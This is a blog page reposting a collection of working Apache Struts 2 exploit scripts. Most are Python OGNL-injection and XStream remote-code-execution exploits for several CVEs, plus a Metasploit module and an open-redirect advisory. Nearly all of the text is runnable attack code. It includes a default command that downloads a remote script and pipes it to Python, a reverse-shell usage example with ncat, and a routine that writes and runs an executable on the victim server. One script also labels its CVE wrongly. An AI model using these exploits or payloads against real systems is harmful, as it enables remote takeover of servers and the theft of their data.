Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110190

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Date: 08/18/2020
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22

# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging


class Exploit:
    def __init__(
            self,
            target='',
            redirect=False,
            proxy_address=''
    ):
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        self.target = target
        self.session = requests.session()
        self.redirect = redirect
        self.timeout = 0.5
        self.proxies = {
            'http': 'http://%s' % proxy_address,
            'https': 'http://%s' % proxy_address
        } \
            if proxy_address is not None \
               and proxy_address != '' else {}
        self.query_params = {}
        self.form_values = {}
        self.cookies = {}
        boundary = "---------------------------735323031399963166993862150"
        self.headers = {
            'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
            'Accept': '*/*',
            'Connection': 'close'
        }
        payload = "%{(#nike='multipart/form-data')." \
                  "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
                  "(#_memberAccess?(#_memberAccess=#dm):" \

"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\

"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
                  "(#ognlUtil.getExcludedPackageNames().clear())." \
                  "(#ognlUtil.getExcludedClasses().clear())." \
                  "(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \

"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\

"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
                  "(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \

"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\

"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
                  "(#ros.flush())}"

        self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
                       "filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
                           boundary, payload, boundary
                       )

    def do_get(self, url, params=None, data=None):
        return self.session.get(
            url=url,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            data=data,
            params=params
        )

    def do_post(self, url, data=None, params=None):
        return self.session.post(
            url=url,
            data=data,
            verify=False,
            allow_redirects=self.redirect,
            headers=self.headers,
            cookies=self.cookies,
            proxies=self.proxies,
            params=params
        )

    def debug(self):
        try:
            import http.client as http_client
        except ImportError:
            import httplib as http_client
        http_client.HTTPConnection.debuglevel = 1
        logging.basicConfig()
        logging.getLogger().setLevel(logging.DEBUG)
        requests_log = logging.getLogger("requests.packages.urllib3")
        requests_log.setLevel(logging.DEBUG)
        requests_log.propagate = True
        return self

    def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
        url = self.target
        stdout.write('sending payload to %s payload %s' % (url, command))
        resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
        return resp


if __name__ == '__main__':
    parser = argparse.ArgumentParser(add_help=True,
                                     description='CVE-2020-0230 Struts
2 exploit')
    try:
        parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
        parser.add_argument('-command', action='store',
                            help='Command to execute: touch /tmp/pwn')
        parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
        parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

        if len(argv) == 1:
            parser.print_help()
            exit(1)
        options = parser.parse_args()

        exp = Exploit(
            proxy_address=options.proxy,
            target=options.target
        )

        if options.debug:
            exp.debug()
            stdout.write('target %s debug %s proxy %s\n' % (
                options.target, options.debug, options.proxy
            ))

        result = exp.send_payload(command=options.command)
        stdout.write('Response: %d\n' % result.status_code)

    except Exception as error:

stderr.write('error in main %s' % str(error))
            
# Exploit Title: Struts 2.5 - 2.5.12 REST Plugin XStream RCE
# Google Dork: filetype:action
# Date: 06/09/2017
# Exploit Author: Warflop
# Vendor Homepage: https://struts.apache.org/
# Software Link: http://mirror.nbtelecom.com.br/apache/struts/2.5.10/struts-2.5.10-all.zip
# Version: Struts 2.5 – Struts 2.5.12
# Tested on: Struts 2.5.10
# CVE : 2017-9805

#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# Struts CVE-2017-9805 Exploit
# Warflop (http://securityattack.com.br/)
# Greetz: Pimps & G4mbl3r
# *****************************************************
import requests
import sys

def exploration(command):

	exploit = '''
				<map>
				<entry>
				<jdk.nashorn.internal.objects.NativeString>
				<flags>0</flags>
				<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
				<dataHandler>
				<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
				<is class="javax.crypto.CipherInputStream">
				<cipher class="javax.crypto.NullCipher">
				<initialized>false</initialized>
				<opmode>0</opmode>
				<serviceIterator class="javax.imageio.spi.FilterIterator">
				<iter class="javax.imageio.spi.FilterIterator">
				<iter class="java.util.Collections$EmptyIterator"/>
				<next class="java.lang.ProcessBuilder">
				<command>
				<string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string>
				</command>
				<redirectErrorStream>false</redirectErrorStream>
				</next>
				</iter>
				<filter class="javax.imageio.ImageIO$ContainsFilter">
				<method>
				<class>java.lang.ProcessBuilder</class>
				<name>start</name>
				<parameter-types/>
				</method>
				<name>foo</name>
				</filter>
				<next class="string">foo</next>
				</serviceIterator>
				<lock/>
				</cipher>
				<input class="java.lang.ProcessBuilder$NullInputStream"/>
				<ibuffer/>
				<done>false</done>
				<ostart>0</ostart>
				<ofinish>0</ofinish>
				<closed>false</closed>
				</is>
				<consumed>false</consumed>
				</dataSource>
				<transferFlavors/>
				</dataHandler>
				<dataLen>0</dataLen>
				</value>
				</jdk.nashorn.internal.objects.NativeString>
				<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				<entry>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
				</entry>
				</map>
				'''


	url = sys.argv[1]

	headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0',
			'Content-Type': 'application/xml'}

	request = requests.post(url, data=exploit, headers=headers)
	print (request.text)

if len(sys.argv) < 3:
	print ('CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE')
	print ('[*] Warflop - http://securityattack.com.br')
	print ('[*] Greatz: Pimps & G4mbl3r')
	print ('[*] Use: python struts2.py URL COMMAND')
	print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
	exit(0)
else:
	exploration(sys.argv[2])
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

# Just a demo for CVE-2017-9791


import requests


def exploit(url, cmd):
    print("[+] command: %s" % cmd)

    payload = "%{"
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(@java.lang.Runtime@getRuntime().exec('%s'))" % cmd
    payload += "}"

    data = {
        "name": payload,
        "age": 20,
        "__checkbox_bustedBefore": "true",
        "description": 1
    }

    headers = {
        'Referer': 'http://127.0.0.1:8080/2.3.15.1-showcase/integration/editGangster'
    }
    requests.post(url, data=data, headers=headers)


if __name__ == '__main__':
    import sys

    if len(sys.argv) != 3:
        print("python %s <url> <cmd>" % sys.argv[0])
        sys.exit(0)

    print('[*] exploit Apache Struts2 S2-048')
    url = sys.argv[1]
    cmd = sys.argv[2]

    exploit(url, cmd)

    # $ ncat -v -l -p 4444 &
    # $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
      'Description'    => %q{
        This module exploits a remote code execution vunlerability in Apache Struts
        version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
        via http Content-Type header.

        Native payloads will be converted to executables and dropped in the
        server's temp dir. If this fails, try a cmd/* payload, which won't
        have to write to the disk.
      },
      'Author'         => [
        'Nike.Zheng', # PoC
        'Nixawk',     # Metasploit module
        'Chorder',    # Metasploit module
        'egypt',      # combining the above
        'Jeffrey Martin', # Java fu
      ],
      'References'     => [
        ['CVE', '2017-5638'],
        ['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-045']
      ],
      'Privileged'     => true,
      'Targets'        => [
        [
          'Universal', {
            'Platform'   => %w{ unix windows linux },
            'Arch'       => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
          },
        ],
      ],
      'DisclosureDate' => 'Mar 07 2017',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-showcase/' ]),
        ]
      )
      register_advanced_options(
        [
          OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
        ]
      )

    @data_header = "X-#{rand_text_alpha(4)}"
  end

  def check
    var_a = rand_text_alpha_lower(4)

    ognl = ""
    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|

    begin
      resp = send_struts_request(ognl)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.headers[var_a]
      vprint_good("Victim operating system: #{resp.headers[var_a]}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    case payload.arch.first
    #when ARCH_JAVA
    #  datastore['LHOST'] = nil
    #  resp = send_payload(payload.encoded_jar)
    when ARCH_CMD
      resp = execute_command(payload.encoded)
    else
      resp = send_payload(generate_payload_exe)
    end

    require'pp'
    pp resp.headers if resp
  end

  def send_struts_request(ognl, extra_header: '')
    uri = normalize_uri(datastore["TARGETURI"])
    content_type = "%{(#_='multipart/form-data')."
    content_type << "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    content_type << "(#_memberAccess?"
    content_type << "(#_memberAccess=#dm):"
    content_type << "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    content_type << "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    content_type << "(#ognlUtil.getExcludedPackageNames().clear())."
    content_type << "(#ognlUtil.getExcludedClasses().clear())."
    content_type << "(#context.setMemberAccess(#dm))))."
    content_type << ognl
    content_type << "}"

    headers = { 'Content-Type' => content_type }
    if extra_header
      headers[@data_header] = extra_header
    end

    #puts content_type.gsub(").", ").\n")
    #puts

    resp = send_request_cgi(
      'uri'     => uri,
      'method'  => datastore['HTTPMethod'],
      'headers' => headers
    )

    if resp && resp.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    resp
  end

  def execute_command(cmd)
    ognl = ''
    ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|

    # You can add headers to the server's response for debugging with this:
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('decoded',#cmd)).|

    ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
    ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
    ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
    ognl << %q|(#p.redirectErrorStream(true)).|
    ognl << %q|(#process=#p.start())|

    send_struts_request(ognl, extra_header: cmd)
  end

  def send_payload(exe)

    ognl = ""
    ognl << %Q|(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
    ognl << %Q|(#f=@java.io.File@createTempFile('#{rand_text_alpha(4)}','.exe')).|
    #ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
    #ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
    ognl << %q|(#f.setExecutable(true)).|
    ognl << %q|(#f.deleteOnExit()).|
    ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|

    # Using stuff from the sun.* package here means it likely won't work on
    # non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
    # work and I don't see a better way of getting binary data onto the
    # system. =/
    ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
    ognl << %q|(#fos.write(#d)).|
    ognl << %q|(#fos.close()).|

    ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
    ognl << %q|(#p.start()).|
    ognl << %q|(#f.delete())|

    send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
  end

end

=begin
Doesn't work:

    ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
    ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
    ognl << %q|(#m=@ognl.OgnlRuntime@getMethods(#c,'main',true).get(0)).|
    ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
    ognl << %q|(#m.invoke(null,null)).|

    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[]{null})).|  # java.lang.IllegalArgumentException: java.lang.ClassCastException@4fee2899
    #ognl << %q|(#m=#c.getMethod('run',new java.lang.Object[])).|        # parse failed
    #ognl << %q|(#m=#c.getMethod('run',null)).|                          # java.lang.IllegalArgumentException: java.lang.ClassCastException@50af0cd6

    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('java.lang.String'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.Object;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0
    #ognl << %q|(#m=#c.getMethod('main',@java.lang.Class@forName('[Ljava.lang.String;'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@2231d3a9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('java.lang.String')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@684b3dfd
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Class[]{null})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.Object')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('java.lang.String')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.Object;')})).|
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{@java.lang.Class@forName('[Ljava.lang.String;')})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@16e2d926
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{})).|     # java.lang.IllegalArgumentException: java.lang.ClassCastException@5f78809f
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).|      # java.lang.IllegalArgumentException: java.lang.ClassCastException@4b232ba9
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[]{null})).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@56c6add5
    #ognl << %q|(#m=#c.getMethod('main',new java.lang.Object[])).|       # parse failed
    #ognl << %q|(#m=#c.getMethod('main',null)).|                         # java.lang.IllegalArgumentException: java.lang.ClassCastException@1722884

=end
            
#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])
            
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************

import argparse
import random
import requests
import sys
try:
    from urllib import parse as urlparse
except ImportError:
    import urlparse

# Disable SSL warnings
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

if len(sys.argv) <= 1:
    print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
    print('[*] Struts-PWN - @mazen160')
    print('\n%s -h for help.' % (sys.argv[0]))
    exit(0)


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
                    dest="url",
                    help="Check a single URL.",
                    action='store')
parser.add_argument("-l", "--list",
                    dest="usedlist",
                    help="Check a list of URLs.",
                    action='store')
parser.add_argument("-c", "--cmd",
                    dest="cmd",
                    help="Command to execute. (Default: 'id')",
                    action='store',
                    default='id')
parser.add_argument("--exploit",
                    dest="do_exploit",
                    help="Exploit.",
                    action='store_true')


args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None

headers = {
    'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
    # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
    'Accept': '*/*'
}
timeout = 3


def parse_url(url):
    """
    Parses the URL.
    """

    # url: http://example.com/demo/struts2-showcase/index.action

    url = url.replace('#', '%23')
    url = url.replace(' ', '%20')

    if ('://' not in url):
        url = str("http://") + str(url)
    scheme = urlparse.urlparse(url).scheme

    # Site: http://example.com
    site = scheme + '://' + urlparse.urlparse(url).netloc

    # FilePath: /demo/struts2-showcase/index.action
    file_path = urlparse.urlparse(url).path
    if (file_path == ''):
        file_path = '/'

    # Filename: index.action
    try:
        filename = url.split('/')[-1]
    except IndexError:
        filename = ''

    # File Dir: /demo/struts2-showcase/
    file_dir = file_path.rstrip(filename)
    if (file_dir == ''):
        file_dir = '/'

    return({"site": site,
            "file_dir": file_dir,
            "filename": filename})


def build_injection_inputs(url):
    """
    Builds injection inputs for the check.
    """

    parsed_url = parse_url(url)
    injection_inputs = []
    url_directories = parsed_url["file_dir"].split("/")

    try:
        url_directories.remove("")
    except ValueError:
        pass

    for i in range(len(url_directories)):
        injection_entry = "/".join(url_directories[:i])

        if not injection_entry.startswith("/"):
            injection_entry = "/%s" % (injection_entry)

        if not injection_entry.endswith("/"):
            injection_entry = "%s/" % (injection_entry)

        injection_entry += "{{INJECTION_POINT}}/"  # It will be renderred later with the payload.
        injection_entry += parsed_url["filename"]

        injection_inputs.append(injection_entry)

    return(injection_inputs)


def check(url):
    random_value = int(''.join(random.choice('0123456789') for i in range(2)))
    multiplication_value = random_value * random_value
    injection_points = build_injection_inputs(url)
    parsed_url = parse_url(url)
    print("[%] Checking for CVE-2018-11776")
    print("[*] URL: %s" % (url))
    print("[*] Total of Attempts: (%s)" % (len(injection_points)))
    attempts_counter = 0

    for injection_point in injection_points:
        attempts_counter += 1
        print("[%s/%s]" % (attempts_counter, len(injection_points)))
        testing_url = "%s%s" % (parsed_url["site"], injection_point)
        testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
        try:
            resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
        except Exception as e:
            print("EXCEPTION::::--> " + str(e))
            continue
        if "Location" in resp.headers.keys():
            if str(multiplication_value) in resp.headers['Location']:
                print("[*] Status: Vulnerable!")
                return(injection_point)
    print("[*] Status: Not Affected.")
    return(None)


def exploit(url, cmd):
    parsed_url = parse_url(url)

    injection_point = check(url)
    if injection_point is None:
        print("[%] Target is not vulnerable.")
        return(0)
    print("[%] Exploiting...")

    payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)

    testing_url = "%s%s" % (parsed_url["site"], injection_point)
    testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)

    try:
        resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
    except Exception as e:
        print("EXCEPTION::::--> " + str(e))
        return(1)

    print("[%] Response:")
    print(resp.text)
    return(0)


def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
    if url:
        if not do_exploit:
            check(url)
        else:
            exploit(url, cmd)

    if usedlist:
        URLs_List = []
        try:
            f_file = open(str(usedlist), "r")
            URLs_List = f_file.read().replace("\r", "").split("\n")
            try:
                URLs_List.remove("")
            except ValueError:
                pass
            f_file.close()
        except Exception as e:
            print("Error: There was an error in reading list file.")
            print("Exception: " + str(e))
            exit(1)
        for url in URLs_List:
            if not do_exploit:
                check(url)
            else:
                exploit(url, cmd)

    print("[%] Done.")


if __name__ == "__main__":
    try:
        main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
    except KeyboardInterrupt:
        print("\nKeyboardInterrupt Detected.")
        print("Exiting...")
        exit(0)
            
source: https://www.securityfocus.com/bid/61196/info

Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable. 

http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/
http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23 
            
